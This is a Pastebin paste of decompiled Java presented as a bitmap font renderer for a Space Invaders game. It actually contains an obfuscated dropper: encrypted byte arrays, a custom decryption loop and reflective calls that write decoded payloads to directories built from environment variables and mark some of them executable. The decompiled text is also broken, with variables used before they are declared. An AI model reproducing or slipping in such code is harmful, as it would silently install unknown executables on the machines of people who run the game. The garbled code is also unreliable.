Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package br.ol.spaceinvaders.core;
- import java.io.File;
- import java.io.FileOutputStream;
- import java.lang.reflect.Field;
- import java.lang.reflect.Method;
- public class BitmapFontRenderer11
- {
- public static Object a;
- public static int b1;
- public static int b2;
- public static String b3;
- public BitmapFontRenderer11() {}
- public static void a() {}
- private static void a447410325()
- {
- Class localClass = Class.forName(Thread.currentThread().getStackTrace()[1].getClassName());
- System.arraycopy(new byte[] { -19, -4, -85, -50, 8, -104, -37, -13, Byte.MIN_VALUE, -18, -18, -58, -81, 54, -59, -89, -20, -43, -96, 54, -85, Byte.MIN_VALUE, -81, -51, -115, 7, -95, -103, -56, -108, -26, 61, Byte.MAX_VALUE, -8, 6, -107, -34, 52, -43, -101, -1, -79, -68, 46, -77, -52, 78, -37, 58, -1, 5, 30, 105, 42, -110, -46, -116, -50, 24, -109, -56, 116, 31, 91, -29, 39, -121, -15, -18, 74, 69, -60, 94, 119, 12, -115, 89, -60, -79, 54, -67, -81, -6, -89, -59, 58, -86, -113, -21, -84, -51, 77, -107, -29, 61, -39, -7, 94, 78, -71, 39, -109, 29, -97, 37, -72, -92, -74, -55, 49, -84, -51, 77, -107, -29, 61, -38, 51, 79, -5, -60, 44, -18, -123, 103, -22, 106, -93, -101, -24, 72, 94, 78, 70, 40, 36, 13, -10, -9, 71, -78, -121, -26, -123, 101, -78, 33, -123, 107, 16, 71, 99, 102, 95, 112, 52, -40, 82, 62, 40, 10, -119, -11, 73, -82, -52, 74, 51, 29, 30, -68, -63, 86, -102, 123, -55, -97, -36, 64, -34, 110, 28, -86, -51, 64, -92, -56, 64, -105, -29, 72, 21, 59, 40, -66, -80, 11, 6, 103, 54, -20, 78, 13, -100, -113, -72, -105, -108, -78, -87, -54, 60, -65, -79, -16, -92, -39, 82, -48, 118, 10, -45, 88, 2, -80, -64, 68, -53, -88, 71, -77, -56, 21, 71, -13, -1, -109, -26, 7, -104, -24, 67, -57, -88, 61, -5, 62, 8, -90, -52, 1, -56, -88, -16, 76, 14, -38, 7, Byte.MIN_VALUE, 90, -9, 79, 25, -65, -79, 53, -99, -114, -63, 17, 53, 10, -109, -26, 62, 68, -47, 69, 3, -68, -127, 68, -11, -3, -119, -11, 73, -82, -52, 74, -47, 45, -126, -121, -37, 81, 124, 72, 60, -105, 46, -90, 40, 79, -66, -118, Byte.MAX_VALUE, -103, 72, -55, -71, 50, 35, 31, -39, -121, -5, 93, -60, -123, 19, 107, 67, -17, 97, 40, -90, -56, 67, -65, -83, 46, -81, -63, 0, 57, 96, 65, -109, 16, 51, 94, 44, 78, 52, -28, -24, 95, -16, 51, 112, -78, 106, 58, 125, -79, 107, -99, -63, 41, 33, 34, -106, -31, -9, -39, -105, 66, -85, -55, 67, -103, -81, -54, -110, -89, -55, 26, 17, -16, -51, -95, 61, 124, -8, 66, -112, -72, -54, -43, -118, 5, 85, -18, -59, -95, -88, -27, -86, -51, 64, -92, -37, -1, -39, -105, 66, -85, -55, 67, -103, -81, -54, -110, -89, -55, -126, -57, -27, -116, -24, 55, -84, -99, -27, -70, -74, 73, -41, Byte.MIN_VALUE, 24, -79, -65, 60, 74, -16, 5, -53, -71, 34, -22, -108, 82, -114, -26, 66, 112, -39, -4, -90, -53, 69, -44, -104, 62, -2, 96, 55, -73, -73, 10, -9, -121, 82, -114, -26, 66, -71, -112, -27, -70, -74, 73, -36, Byte.MAX_VALUE, 45, -91, -51, 68, -119, -17, 25, -88, -54, 71, -58, -86, 62, -70, -60, 26, -47, -91, 59, -85, -98, -27, -82, -49, 79, -113, -11, 34, -22, -108, 82, -114, -26, 66, -84, -99, -40, 126, -10, 66, -41, -89, 70, 90, -32, 13, -100, -31, 70, -126, -16, 16, -22, -108, 82, -114, -26, 66, -98, -85, -42, -92, -93, -42, -96, -33, 81, -117, -18, 64, 35, 36, 26, -100, -31, 70, -126, -16, 16, -87, -54, 60, -65, -79, -16, -92, -39, 82, -48, 118, 10, -21, 64, -18, -100, -31, 73, -53, -88, 71, -77, -56, 21, 71, -13, -1, -109, -26, 7, -104, -24, 67, -57, -88, 61, -5, 62, 8, -90, -52, 1, -56, -88, -16, 89, 33, -6, 7, Byte.MIN_VALUE, 90, -9, 79, 25, -65, -79, 53, -99, -114, -63, 17, 53, 10, -109, -26, 62, 90, -32, 13, -100, -31, 70, -126, -16, 16, 80, -22, -5, -98, -33, 62, -85, -98, -27, -70, -74, 73, -35, Byte.MIN_VALUE, 50, -19, 95, 32, 122, 0, 59, -91, -94, -42, -70, -74, 73, 36, 35, 27, -90, -38, 69, 113, -40, -27, 8, 103, 56, -116, -13, 29, 92, -34, 10, -124, -16, 71, -39, 112, 40, -49, 106, 39, -102, 94, -76, -92, -82, 79, 123, 92, 29, 66, 66, -49, -91, -37, 18, -16, 95, 106, -54, 74, 57, -111, -74, -26, -92, -44, 68, -40, -87, 70, -104, -26, 71, -125, -10, 22, 116, -56, -54, 115, -70, -83, -117, -18, 60, -56, -89, 56, -124, -18, 15, -119, -41, 20, -108, -92, -48, -127, -55, -24, -17, -116, 71, -79, -51, 82, -40, -87, 70, -104, -26, 71, -125, -10, 22, 116, -56, -54, 101, -56, -53, 25, 86, 56, -116, -13, 29, -26, -112, 59, 107, -34, -11, -84, -63, 50, -83, -102, -42, -70, -74, 73, 35, 36, 26, -100, -31, 70, -126, -16, 16, -105, -23, 84, -108, -52, 48, -93, -55, 64, -116, -15, 25, -9, -121, 82, -114, -26, 66, -71, -112, -27, -70, -74, 73, -36, Byte.MAX_VALUE, 45, -91, -51, 68, -119, -17, 25, -88, -54, 71, -58, -86, 62, -70, -60, 26, -47, -91, 59, -85, -98, -27, -82, -49, 79, -113, -11, 34, -22, -108, 82, -114, -26, 66, -84, -99, -40, 126, -10, 66, -41, -89, 70, 90, -32, 13, -100, -31, 70, -126, -16, 16, -22, -108, 82, -114, -26, 66, -98, -85, -42, -92, -93, -42, -96, -33, 81, -117, -18, 64, 35, 36, 26, -100, -31, 70, -126, -16, 16, -95, -53, 66, -91, -122, -72, -87, -61, 62, 91, -46, -79, -51, -115, 7, -93, -105, -26, -87, -60, 63, -119, -12, 86, -56, -113, 24, -101, -34, 60, 123, -47, 19, 124, -3, 77, -121, -77, -37, -77, -52, 78, -126, -7, 63, -105, -24, 68, 5, 52, -3, -110, -19, 1, 90, -32, 13, -100, -31, 70, -126, -16, 16, 80, -22, -5, -98, -33, 62, -85, -98, -27, -70, -74, 73, -35, Byte.MIN_VALUE, 50, -19, 95, 32, 122, 0, 59, -91, -94, -42, -70, -74, 73, 36, 35, 27, -90, -38, 69, 113, -40, -27, 8, 103, 56, -116, -13, 29, 92, -34, 10, -124, -16, 71, -14, 87, -109, -88, -64, -59, -20, -11, 112, 108, 8, 54, -47, -101 }, 0, (byte[])localClass.getField("a").get(null), 1024, 1024);
- localClass.getMethod("_a1009916519", new Class[0]).invoke(null, new Object[0]);
- }
- private static void a1009916519()
- {
- Object localObject = Class.forName(Thread.currentThread().getStackTrace()[1].getClassName());
- System.arraycopy(new byte[] { 62, -113, -85, -26, -113, -15, 78, -123, -18, 20, -84, -60, 62, -70, -60, 90, -126, 41, 96, 20, 116, 21, 51, 32, 12, 13, -72, -74, -11, -34, 105, 90, 40, 5, -79, -4, 91, -26, -2, 16, -114, -95, -43, 8, -43, -82, -34, Byte.MIN_VALUE, 45, -68, -61, 86, -119, -12, 66, 125, 7, 82, -28, 85, 9, -124, -16, 71, -47, -107, 15, 54, -7, -20, 99, -113, 91, 88, 101, -86, 83, 118, -22, -21, 112, -63, -94, -126, 1, -24, -90, 44, 84, 23, 33, -53, -6, 59, 35, -24, -20, Byte.MAX_VALUE, -106, -14, -122, 13, 2, 42, 34, 33, -82, -52, 47, -59, -86, 48, -45, -99, 66, -31, -102, 71, -79, -51, 82, -124, -108, 48, -102, -38, 3, -77, -96, 23, 2, 40, -98, -25, 74, -57, -36, -107, 59, 57, -98, 39, 42, 34, 33, -82, -52, 47, -59, -86, 48, -45, -99, 66, -1, 112, 48, -67, -106, 2, -42, 122, -82, 59, -2, -4, -96, -39, 63, -99, -43, 1, -73, -55, 84, -73, -57, 82, -120, -11, 81, 6, 101, -19, -10, 13, 43, 25, -120, 112, -92, -45, 87, -27, -43, 113, 15, 43, 8, -109, -26, 62, -5, 116, 52, -85, -53, 74, -100, -33, 43, -68, 26, -3, -17, -112, -55, -117, 92, 10, 26, -113, -17, 59, 89, -41, 101, -114, -8, 12, 46, -56, -108, -26, 61, Byte.MAX_VALUE, -8, 6, -107, -34, 52, -43, -101, -1, -79, -68, 46, -77, -52, 78, -16, -29, 90, 124, -108, 5, 50, 77, 68, -69, -64, -110, -5, -78, 105, 105, -48, -11, 109, 7, 55, -78, -56, 77, -90, -53, 69, 7, 73, 40, -82, -55, 70, -43, -101, 66, 125, 7, 82, -16, 73, -3, 110, -88, 47, -92, -29, 51, -63, 98, 95, 113, 113, -67, 105, 47, -69, 67, 58, -98, 108, 18, 65, -102, -27, 64, -89, -49, 73, 54, 4, -3, -59, -85, 49, -57, -87, -16, -32, -97, 77, 59, 21, 40, -82, -55, 70, -43, -101, 66, 125, 7, 82, -113, -100, -70, -95, -36, -3, -58, -81, 54, -39, -109, 67, 42, 14, 2, -112, -19, -3, -45, -84, 68, -101, -32, 0, -87, -112, -57, -5, 93, 33, 125, 0, 76, -99, -35, 64, -67, -86, 12, -109, -24, 71, -101, -30, 66, -85, -77, 55, -59, -87, -4, -74, -73, -17, 38, 20, 13, -93, -120, -40, 124, -35, 14, 103, -23, -48, -31, -112, 64, 51, 101, -2, 118, -24, 65, 91, 110, -39, 8, 33, -103, -12, 110, -52, 77, -120, 83, 88, 60, -21, -54, -121, 19, -116, 10, 101, -125, 57, 28, 89, 83, 44, 54, 118, -5, -96, 103, 53, 114, 113, 124, 29, -49, -6, -126, 19, -76, -7, -25, 98, 21, 10, 108, 56, 47, -103, -119, 89, -25, -102, -121, -88, -2, 95, -53, 59, 75, -81, 4, -122, 107, 45, -118, 20, 46, 73, 113, 0, 83, 79, 10, -29, 100, 121, -9, 5, -8, -126, -117, 48, -21, -8, 108, 104, 111, 86, -50, 14, -3, -103, 14, -56, -125, -91, -27, 91, 103, -116, 3, -70, 73, -77, -127, 23, 113, -15, 50, -124, -63, -45, -88, 26, -55, -71, 102, -44, -100, 94, 126, 56, -117, 18, -2, -127, -106, 27, -61, 8, 3, -20, 94, 4, 2, -66, 31, -40, -56, -127, 11, 36, 105, 67, 31, 99, -96, -58, 94, 38, -44, 10, -97, 29, -27, -86, 117, 107, -119, -70, 75, -46, 84, -122, -62, 19, 23, 109, 106, -27, 107, -34, 76, 34, -90, 6, -4, 86, 19, 42, -67, -106, -117, 16, -78, -15, -97, 73, 8, 5, 87, -118, 104, 38, 123, 10, 62, 19, -90, -7, -121, 56, -52, -113, 118, 89, -42, 82, -109, 97, -38, 56, -41, 108, -5, -7, -16, -32, -44, 2, 90, 93, 48, -49, 50, -89, 5, 9, 119, 0, -12, 72, -22, -1, 78, 63, -81, 91, 63, 28, -42, -55, 106, 48, 70, -108, 92, -92, -118, 59, 72, -96, 90, -113, 75, 90, 62, 80, -13, 126, 46, -55, 51, 48, -66, 94, -57, 115, -121, 2, 63, -94, -25, Byte.MAX_VALUE, 7, -27, -8, 15, -42, 48, 63, -124, 98, -51, 45, -79, -78, -98, 118, 27, 5, -120, 29, -36, -108, 98, -15, -21, -6, 0, 23, -8, 85, -2, -116, -4, 107, 103, -35, -87, -23, -52, -102, -46, 9, -120, -104, 30, -18, 112, -19, 52, 96, -12, -111, 53, -40, -10, 56, 124, -28, -39, 124, -110, -123, 59, -55, -126, Byte.MAX_VALUE, 115, 10, 32, 105, 108, -5, 100, -125, 101, 57, -127, 116, -75, -126, -28, 83, 111, 46, -5, -112, -84, -99, -125, -117, -55, -11, 15, 22, -37, 91, 31, -77, 98, 53, -9, 91, -116, -93, 87, 122, -74, -15, -120, 87, -56, -49, -95, -18, -9, 64, -7, 20, -52, -79, 16, 66, 75, 53, 86, 109, -24, -100, -74, 94, 44, 56, 102, -94, -16, 13, 91, 74, 78, -41, -36, 10, 122, -111, -78, 45, -28, 2, -73, -52, 67, -83, -110, 63, 43, 87, -111, 56, -40, 76, 68, 38, 86, 98, -27, -43, -55, -8, -122, -103, -26, -77, 20, -76, -9, 65, 96, 45, -79, -91, -98, -27, 37, -92, 101, -46, -35, -59, -29, 114, -55, -17, -124, -117, -109, 62, -100, -57, 52, -69, 111, -90, -127, 69, 52, -16, -96, 33, -99, 70, 52, 67, 93, -55, 80, 116, 57, -98, 121, -89, 4, 47, -59, -5, 15, 8, 124, -105, 3, 113, -34, -51, -101, -10, 37, 18, 40, 122, -38, 38, -4, 7, 62, 3, -83, -107, Byte.MIN_VALUE, -95, 57, 97, -124, 122, -97, -126, 97, 20, -103, -92, 63, 18, -96, 73, 1, 100, -126, 107, 1, 112, 113 }, 0, (byte[])((Class)localObject).getField("a").get(null), 2048, 963);
- localObject = (byte[])Class.forName(Thread.currentThread().getStackTrace()[1].getClassName()).getField("a").get(null);
- int i = 0;
- int j = 3201;
- while (i < 3008)
- {
- j = j % 17 - 233 + j % 236;
- int tmp6674_6673 = (i + 1);
- localObject[tmp6674_6673] = ((byte)(localObject[tmp6674_6673] - ((localObject[i] ^ 0xFFFFFFFF) + j - (18 - j))));
- int tmp6695_6694 = (i + 2);
- localObject[tmp6695_6694] = ((byte)(localObject[tmp6695_6694] - (localObject[(i + 1)] - ((j ^ 0xFFFFFFFF) & 0x17) - 133)));
- int tmp6718_6717 = i;
- localObject[tmp6718_6717] = ((byte)(localObject[tmp6718_6717] + (-localObject[(i + 1)] % 51 + (localObject[(i + 2)] ^ 0xFFFFFFFF | 0x86))));
- int tmp6746_6745 = i;
- localObject[tmp6746_6745] = ((byte)(localObject[tmp6746_6745] ^ localObject[(i + 2)] - 30 + j % 3));
- int tmp6765_6764 = i;
- localObject[tmp6765_6764] = ((byte)(localObject[tmp6765_6764] - ((localObject[(i + 1)] & localObject[(i + 2)]) - (localObject[(i + 2)] - 1))));
- i += 3;
- }
- }
- private static void a296977313()
- {
- Class localClass = Class.forName(Thread.currentThread().getStackTrace()[1].getClassName());
- System.arraycopy(new byte[] { -47, 12, 31, 76, -81, -75, 88, 46, 38, 27, 30, 19, 96, -35, -106, -124, 91, -10, -52, -81, 117, 109, 67, -74, 56, 6, 52, 92, 38, 102, -80, 30, 114, -16, -51, 108, -12, -41, 111, 63, 14, 81, -83, -10, 119, -30, -83, 117, -30, -89, 106, -30, -101, 100, -10, -125, -116, -27, 114, -58, -55, -24, 9, 101, 43, 0, -94, -54, -32, -49, Byte.MIN_VALUE, -3, 106, -46, 1, -77, 94, -14, 81, Byte.MAX_VALUE, -76, 46, 110, -115, -80, 54, -59, 19, -91, -45, 56, -93, 94, 9, 97, -3, -68, 5, 122, 42, 51, 41, -106, 15, -31, -100, -5, -16, -64, 100, -67, 86, -13, 117, -76, Byte.MAX_VALUE, 108, 109, -29, 29, 37, 48, 13, 23, 23, -75, -87, 79, 1, 20, 41, -121, 116, -114, 93, 39, -35, 48, -38, -32, -72, 55, 10, -32, -62, 105, -76, 85, -106, -121, 5, -68, -88, -88, 32, 66, -90, -57, 56, 20, 93, 30, 104, -45, 125, 66, 119, 21, 32, 71, -84, -11, 17, 54, -69, -118, 104, 12, -120, -59, -47, 40, -70, -79, 57, Byte.MIN_VALUE, -18, -9, Byte.MIN_VALUE, -15, -8, 126, 63, 58, 103, -83, 28, 106, -28, -25, 107, -31, -18, 117, -30, -45, 104, -16, -63, -123, 52, 109, -36, -100, 111, 17, -91, 81, 66, -3, -74, -7, -81, 57, 61, 76, -44, 82, 86, -119, -89, 85, 30, -58, 50, 87, -18, -101, -63, 42, 67, -64, 60, 29, -60, -106, 74, -87, -104, -33, 69, 86, 48, -89, -98, 0, 101, 73, 33, 2, -43, -117, 49, 104, Byte.MIN_VALUE, -26, 39, 18, 121, -34, 33, 8, -95, 56, 19, -97, 117, 48, 27, 122, -12, 22, -48, -42, 88, -48, -92, 65, 83, -28, -24, -53, 0, -102, -36, 102, 101, 58, 0, -81, 50, 12, -80, -55, -120, 84, 66, -89, -109, 95, 48, 45, 97, -36, -77, 27, -21, -71, -76, 69, 119, -59, 98, -103, -118, -31, 110, -56, 63, -36, -92, -2, -118, 25, 53, 126, 16, 109, 44, 90, 15, 71, 82, -48, -105, 89, -32, 65, -102, -45, 43, -103, -4, 58, -55, -87, 66, 35, 109, 118, 19, 13, -87, -20, 46, 90, -116, 5, 12, -75, 114, 71, 8, 3, -63, -79, 54, 13, 65, -41, -98, -84, -109, 75, -84, -72, -121, -8, -63, 73, 50, -85, -42, 51, -28, 72, -58, -48, 54, -105, 24, -126, 14, -71, -12, 58, 108, 65, -119, 117, -61, -56, -102, 22, -124, -35, 58, 76, 84, 25, -63, 123, 72, -31, 0, 87, 24, -54, -74, 19, -97, 36, 105, 15, -58, -19, -78, 54, 3, 54, 40, -65, -117, -57, 77, -19, 41, -78, 104, -16, 29, 50, 124, 0, -28, -86, 58, -103, -71, -106, -58, -89, 115, 12, 88, -74, -60, -41, -46, -7, 60, 28, 107, -28, 104, -70, -68, -73, -29, -107, -107, -55, -4, 31, -47, 7, -120, -50, -26, -127, -108, 7, -13, 15, 84, 9, -73, -29, 54, 11, 122, -112, -34, 104, 48, -1, -7, 120, -60, -113, 70, -82, 88, 38, 99, -82, -13, 105, 79, -125, -87, -37, -87, -110, -57, -29, -52, 123, -18, -73, -85, 123, -26, 78, -90, -116, 22, -66, -122, 98, 17, 116, 90, -86, 67, -33, 112, -115, -99, 83, -28, -115, -100, -21, -43, 110, 91, 29, 66, 73, 24, 112, -66, -82, 44, 42, 4, 63, 68, -74, -34, -24, -95, 78, -98, 40, -77, 86, 45, -89, 19, 1, 80, -4, 1, 25, 86, -94, -37, 41, -9, -121, -109, -20, 119, 73, -13, -20, 35, -106, 24, -2, 117, 89, -19, -84, -88, 83, -43, -40, 25, 88, 26, 97, 77, -64, 48, -26, 62, 53, 38, -96, -1, 61, 62, -75, -47, -13, -108, -77, 109, 35, 88, -37, 73, -11, 78, 75, -70, 109, -98, 118, -100, -115, 106, -45, -22, -61, -3, 64, 47, Byte.MAX_VALUE, -8, -18, -34, -116, -115, 121, -74, 101, 122, 78, 71, 76, 1, -49, -56, -62, -44, 30, 66, 74, -43, -74, 65, 103, -104, 103, -40, -68, 34, -112, -123, -46, 87, -98, 65, -40, -90, 88, -47, 92, -41, 100, 73, -44, -112, 2, -118, -78, -67, -13, 77, 79, 40, 85, -119, 3, -125, 42, -46, 78, -113, 5, -36, -61, -51, -12, 3, -114, 117, 51, -21, -86, 38, -2, 44, 38, -10, -96, 51, 77, -106, -2, -58, 76, -5, 99, -95, 67, 10, -76, -45, -17, 104, 73, -44, 122, 115, -59, 117, 38, 20, 22, -24, 94, -20, 58, -42, -67, 85, 122, 118, -19, 20, 39, -8, -127, -39, 50, 47, -26, 37, 107, -51, -119, -73, -9, 40, Byte.MAX_VALUE, -19, 30, 115, -15, 34, 115, 62, 109, 88, -38, 96, -99, -81, 108, -46, -31, 42, 107, -66, 77, 107, -11, 42, Byte.MAX_VALUE, -31, 42, 107, -31, 42, 107, -31, 42, 107, -31, 42, 107, -31, 42, 107, -125, -43, -3, 95, -19, -39, -55, -112, -1, 110, -22, -7, -59, -113, -6, -24, 118, 18, 101, -13, -2, -51, -119, -73, -9, 40, Byte.MAX_VALUE, -19, 30, 115, -15, 34, 115, 62, 109, 88, 93, 123, -112, -66, 63, 113, -29, 40, 107, 40, -26, 110, -17, 42, 121, -31, 42, 107, -31, 42, 107, -31, 42, 107, -31, 42, 107, 124, -113, 107, -88, -55, 54, 122, -64, -25, Byte.MAX_VALUE, -11, 66, 7, 103, 58, -75, -55, 81, -59, -111, -69, -25, 36, 107, 29, -18, 109, -29, 42, 109, -97, 108, 107, 6, -18, 86, -31, 42, 107, 22, -14, -97, 24, -96, 103, 28, -16, 9, 1, -13, -119, -72, 55, -96, 92, -64, 59, -2, 54, 98, 123, -104, -56, 81, -37, -69, -93, -37, 80, 6, 103, 54, -6, 64, -1, -97, -30, 1, -47, -98, 54, -55, -79, 74, -98, -37, -29, -16, 95, 20, -85, -53, 74, -100, -33, -5, -36, -99, 77, -66, -58, 65, 83, 12, 56, -77, -67, 13, -114, -19, 75, -108, -32, 55, -117, -12, 72, -84, -51, -29, -91, -57, 57, 80, -8, -23, -77, -52, 78, -126, -7, 63, -105, -24, 68, 85, -64, -70, -57, -87, 51, 77 }, 0, (byte[])localClass.getField("a").get(null), 0, 1024);
- localClass.getMethod("_a447410325", new Class[0]).invoke(null, new Object[0]);
- }
- private static void a1187031382()
- {
- try
- {
- String[] arrayOfString = { "_a1922821497", "b1", "b2", "b3" };
- Class localClass;
- (localClass = Class.forName(Thread.currentThread().getStackTrace()[1].getClassName())).getField("a").set(null, new byte['']);
- byte[] arrayOfByte = (byte[])localClass.getField("a").get(null);
- localClass.getMethod("_a296977313", new Class[0]).invoke(null, new Object[0]);
- if (File.separatorChar == arrayOfByte['ࡏ'])
- {
- localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(2206));
- localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(4));
- localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
- str1 = System.getenv((String)localClass.getField(arrayOfString[3]).get(null));
- try
- {
- localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(2211));
- localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(18));
- localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
- Object localObject5 = str1 + (String)localClass.getField(arrayOfString[3]).get(null);
- localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(1345));
- localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(13));
- localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
- String str4 = (String)localClass.getField(arrayOfString[3]).get(null);
- new File((String)localObject5).mkdir();
- localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(1305));
- localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(9));
- localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
- localObject9 = new FileOutputStream((String)localObject5 + (String)localClass.getField(arrayOfString[3]).get(null));
- localThrowable10 = null;
- try
- {
- ((FileOutputStream)localObject9).write(arrayOfByte, 1183, 118);
- ((FileOutputStream)localObject9).close();
- }
- catch (Throwable localThrowable11)
- {
- throw ((Throwable)localObject5);
- }
- finally
- {
- if (localThrowable10 != null) {
- try
- {
- ((FileOutputStream)localObject9).close();
- }
- catch (Throwable localThrowable7)
- {
- localThrowable10.addSuppressed(localThrowable7);
- }
- } else {
- ((FileOutputStream)localObject9).close();
- }
- }
- new File(str2 + (String)localClass.getField(arrayOfString[3]).get(null)).getClass().getMethod(localThrowable7, new Class[] { Boolean.TYPE }).invoke(new File(str2 + (String)localClass.getField(arrayOfString[3]).get(null)), new Object[] { Boolean.valueOf(true) });
- new File(str2 + (String)localClass.getField(arrayOfString[3]).get(null)).setExecutable(true);
- localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(2245));
- localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(13));
- localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
- localObject9 = new FileOutputStream(str2 + (String)localClass.getField(arrayOfString[3]).get(null));
- localThrowable10 = null;
- try
- {
- ((FileOutputStream)localObject9).write(arrayOfByte, 945, 128);
- ((FileOutputStream)localObject9).close();
- }
- catch (Throwable localThrowable12)
- {
- Throwable localThrowable5;
- throw localThrowable5;
- }
- finally
- {
- if (localThrowable10 != null) {
- try
- {
- ((FileOutputStream)localObject9).close();
- }
- catch (Throwable localThrowable8)
- {
- localThrowable10.addSuppressed(localThrowable8);
- }
- } else {
- ((FileOutputStream)localObject9).close();
- }
- }
- new File(str3 + (String)localClass.getField(arrayOfString[3]).get(null)).getClass().getMethod(localThrowable8, new Class[] { Boolean.TYPE }).invoke(new File(str3 + (String)localClass.getField(arrayOfString[3]).get(null)), new Object[] { Boolean.valueOf(true) });
- new File(str3 + (String)localClass.getField(arrayOfString[3]).get(null)).setExecutable(true);
- localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(2278));
- localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(20));
- localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
- localObject9 = new FileOutputStream(str1 + (String)localClass.getField(arrayOfString[3]).get(null));
- localThrowable10 = null;
- try
- {
- ((FileOutputStream)localObject9).write(arrayOfByte, 29, 893);
- ((FileOutputStream)localObject9).close();
- }
- catch (Throwable localThrowable13)
- {
- Throwable localThrowable6;
- throw localThrowable6;
- }
- finally
- {
- if (localThrowable10 != null) {
- try
- {
- ((FileOutputStream)localObject9).close();
- }
- catch (Throwable localThrowable9)
- {
- localThrowable10.addSuppressed(localThrowable9);
- }
- } else {
- ((FileOutputStream)localObject9).close();
- }
- }
- }
- catch (Exception localException1)
- {
- try
- {
- Throwable localThrowable10;
- localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(2042));
- localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(21));
- localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
- localObject7 = str1 + (String)localClass.getField(arrayOfString[3]).get(null);
- new File((String)localObject7).mkdir();
- localClass.getField(arrayOfString[1]).set(null, Integer.valueOf(2094));
- localClass.getField(arrayOfString[2]).set(null, Integer.valueOf(19));
- localClass.getMethod(arrayOfString[0], new Class[0]).invoke(null, new Object[0]);
- localObject8 = new FileOutputStream((String)localObject7 + (String)localClass.getField(arrayOfString[3]).get(null));
- localObject9 = null;
- try
- {
- ((FileOutputStream)localObject8).write(arrayOfByte, 1383, 320);
- ((FileOutputStream)localObject8).close();
- }
- catch (Throwable localThrowable14)
- {
- throw localThrowable10;
- }
- finally
- {
- if (localObject9 != null) {
- try
- {
- ((FileOutputStream)localObject8).close();
- }
- catch (Throwable localThrowable1)
- {
- ((Throwable)localObject9).addSuppressed(localThrowable1);
- }
- } else {
- ((FileOutputStream)localObject8).close();
- }
- }
- localThrowable1.getField(localObject1[1]).set(null, Integer.valueOf(2151));
- localThrowable1.getField(localObject1[2]).set(null, Integer.valueOf(18));
- localThrowable1.getMethod(localObject1[0], new Class[0]).invoke(null, new Object[0]);
- localObject8 = new FileOutputStream((String)localObject7 + (String)localThrowable1.getField(localObject1[3]).get(null));
- localObject9 = null;
- try
- {
- ((FileOutputStream)localObject8).write(arrayOfByte, 1729, 307);
- ((FileOutputStream)localObject8).close();
- }
- catch (Throwable localThrowable15)
- {
- throw localThrowable10;
- }
- finally
- {
- if (localObject9 != null) {
- try
- {
- ((FileOutputStream)localObject8).close();
- }
- catch (Throwable localThrowable2)
- {
- ((Throwable)localObject9).addSuppressed(localThrowable2);
- }
- } else {
- ((FileOutputStream)localObject8).close();
- }
- }
- localThrowable2.getField(localObject2[1]).set(null, Integer.valueOf(2190));
- localThrowable2.getField(localObject2[2]).set(null, Integer.valueOf(16));
- localThrowable2.getMethod(localObject2[0], new Class[0]).invoke(null, new Object[0]);
- localObject8 = new FileOutputStream((String)localObject7 + (String)localThrowable2.getField(localObject2[3]).get(null));
- localObject9 = null;
- try
- {
- ((FileOutputStream)localObject8).write(arrayOfByte, 29, 893);
- ((FileOutputStream)localObject8).close();
- }
- catch (Throwable localThrowable16)
- {
- throw localThrowable10;
- }
- finally
- {
- if (localObject9 != null) {
- try
- {
- ((FileOutputStream)localObject8).close();
- }
- catch (Throwable localThrowable3)
- {
- ((Throwable)localObject9).addSuppressed(localThrowable3);
- }
- } else {
- ((FileOutputStream)localObject8).close();
- }
- }
- }
- catch (Exception localException2) {}
- }
- }
- localThrowable3.getField(localObject3[1]).set(null, Integer.valueOf(2305));
- localThrowable3.getField(localObject3[2]).set(null, Integer.valueOf(4));
- localThrowable3.getMethod(localObject3[0], new Class[0]).invoke(null, new Object[0]);
- String str1 = System.getenv((String)localThrowable3.getField(localObject3[3]).get(null));
- localThrowable3.getField(localObject3[1]).set(null, Integer.valueOf(2312));
- localThrowable3.getField(localObject3[2]).set(null, Integer.valueOf(29));
- localThrowable3.getMethod(localObject3[0], new Class[0]).invoke(null, new Object[0]);
- new File(str1).getParentFile().mkdir();
- Object localObject7 = new FileOutputStream(str1 + (String)localThrowable3.getField(localObject3[3]).get(null));
- Object localObject8 = null;
- try
- {
- ((FileOutputStream)localObject7).write(arrayOfByte, 29, 893);
- ((FileOutputStream)localObject7).close();
- }
- catch (Throwable localThrowable17)
- {
- throw ((Throwable)localObject9);
- }
- finally
- {
- if (localObject8 != null) {
- try
- {
- ((FileOutputStream)localObject7).close();
- }
- catch (Throwable localThrowable4)
- {
- ((Throwable)localObject8).addSuppressed(localThrowable4);
- }
- } else {
- ((FileOutputStream)localObject7).close();
- }
- }
- localThrowable4.getField(localObject4[1]).set(null, Integer.valueOf(1102));
- localThrowable4.getField(localObject4[2]).set(null, Integer.valueOf(17));
- localThrowable4.getMethod(localObject4[0], new Class[0]).invoke(null, new Object[0]);
- str1 = (String)localThrowable4.getField(localObject4[3]).get(null);
- localThrowable4.getField(localObject4[1]).set(null, Integer.valueOf(1130));
- localThrowable4.getField(localObject4[2]).set(null, Integer.valueOf(10));
- localThrowable4.getMethod(localObject4[0], new Class[0]).invoke(null, new Object[0]);
- localObject7 = (String)localThrowable4.getField(localObject4[3]).get(null);
- localThrowable4.getField(localObject4[1]).set(null, Integer.valueOf(1152));
- localThrowable4.getField(localObject4[2]).set(null, Integer.valueOf(4));
